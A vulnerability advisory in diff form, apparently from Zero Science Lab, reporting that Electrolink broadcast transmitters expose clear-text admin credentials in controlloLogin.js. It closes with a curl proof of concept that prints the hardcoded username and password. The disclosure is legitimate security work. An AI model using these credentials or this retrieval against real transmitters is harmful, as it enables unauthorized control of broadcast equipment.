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| 1 | +Electrolink FM/DAB/TV Transmitter (controlloLogin.js) Credentials Disclosure |
| 2 | + |
| 3 | + |
| 4 | +Vendor: Electrolink s.r.l. |
| 5 | +Product web page: https://www.electrolink.com |
| 6 | +Affected version: 10W, 100W, 250W, Compact DAB Transmitter |
| 7 | + 500W, 1kW, 2kW Medium DAB Transmitter |
| 8 | + 2.5kW, 3kW, 4kW, 5kW High Power DAB Transmitter |
| 9 | + 100W, 500W, 1kW, 2kW Compact FM Transmitter |
| 10 | + 3kW, 5kW, 10kW, 15kW, 20kW, 30kW Modular FM Transmitter |
| 11 | + 15W - 40kW Digital FM Transmitter |
| 12 | + BI, BIII VHF TV Transmitter |
| 13 | + 10W - 5kW UHF TV Transmitter |
| 14 | + Web version: 01.09, 01.08, 01.07 |
| 15 | + Display version: 1.4, 1.2 |
| 16 | + Control unit version: 01.06, 01.04, 01.03 |
| 17 | + Firmware version: 2.1 |
| 18 | + |
| 19 | +Summary: Since 1990 Electrolink has been dealing with design and |
| 20 | +manufacturing of advanced technologies for radio and television |
| 21 | +broadcasting. The most comprehensive products range includes: FM |
| 22 | +Transmitters, DAB Transmitters, TV Transmitters for analogue and |
| 23 | +digital multistandard operation, Bandpass Filters (FM, DAB, ATV, |
| 24 | +DTV), Channel combiners (FM, DAB, ATV, DTV), Motorized coaxial |
| 25 | +switches, Manual patch panels, RF power meters, Rigid line and |
| 26 | +accessories. A professional solution that meets broadcasters needs |
| 27 | +from small community television or radio to big government networks. |
| 28 | + |
| 29 | +Compact DAB Transmitters 10W, 100W and 250W models with 3.5" |
| 30 | +touch-screen display and in-built state of the art DAB modulator, |
| 31 | +EDI input and GPS receiver. All transmitters are equipped with a |
| 32 | +state-of-the art DAB modulator with excellent performances, |
| 33 | +self-protected and self-controlled amplifiers ensure trouble-free |
| 34 | +non-stop operation. |
| 35 | + |
| 36 | +100W, 500W, 1kW and 2kW power range available on compact 2U and |
| 37 | +3U 19" frame. Built-in stereo coder, touch screen display and |
| 38 | +efficient low noise air cooling system. Available models: 3kW, |
| 39 | +5kW, 10kW, 15kW, 20kW and 30kW. High efficiency FM transmitters |
| 40 | +with fully broadband solid state amplifiers and an efficient |
| 41 | +low-noise air cooling system. |
| 42 | + |
| 43 | +FM digital modulator with excellent specifications, built-in |
| 44 | +stereo and RDS coder. Digital deviation limiter together with |
| 45 | +ASI and SDI inputs are available. These transmitters are ready |
| 46 | +for ISOFREQUENCY networks. |
| 47 | + |
| 48 | +Available for VHF BI and VHF BIII operation with robust desing |
| 49 | +and user-friendly local and remote control. Multi-standard UHF |
| 50 | +TV transmitters from 10W up to 5kW with efficient low noise air |
| 51 | +cooling system. Analogue PAL, NTSC and Digital DVB-T/T2, ATSC |
| 52 | +and ISDB-Tb available. |
| 53 | + |
| 54 | +Desc: The device is vulnerable to a disclosure of clear-text |
| 55 | +credentials in controlloLogin.js that can allow security |
| 56 | +bypass and system access. |
| 57 | + |
| 58 | +Tested on: Mbedthis-Appweb/12.5.0 |
| 59 | + Mbedthis-Appweb/12.0.0 |
| 60 | + |
| 61 | + |
| 62 | +Vulnerability discovered by Gjoko 'LiquidWorm' Krstic |
| 63 | +Macedonian Information Security Research & Development Laboratory |
| 64 | +Zero Science Lab - https://www.zeroscience.mk - @zeroscience |
| 65 | + |
| 66 | + |
| 67 | +Advisory ID: ZSL-2023-5790 |
| 68 | +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5790.php |
| 69 | + |
| 70 | + |
| 71 | +30.06.2023 |
| 72 | + |
| 73 | +-- |
| 74 | + |
| 75 | + |
| 76 | +C:\>curl -s "http://192.168.150.77:8888/controlloLogin.js" |
| 77 | +function verifica() { |
| 78 | + var user = document.getElementById('user').value; |
| 79 | + var password = document.getElementById('password').value; |
| 80 | + |
| 81 | + //alert(user); |
| 82 | + |
| 83 | + if(user=='admin' && password=='cozzir'){ |
| 84 | + SetCookie('Login','OK',exp); |
| 85 | + window.location.replace("FrameSetCore.html"); |
| 86 | + }else{ |
| 87 | + SetCookie('Login','NO',exp); |
| 88 | + window.location.replace("login.html"); |
| 89 | + } |
| 90 | +} |
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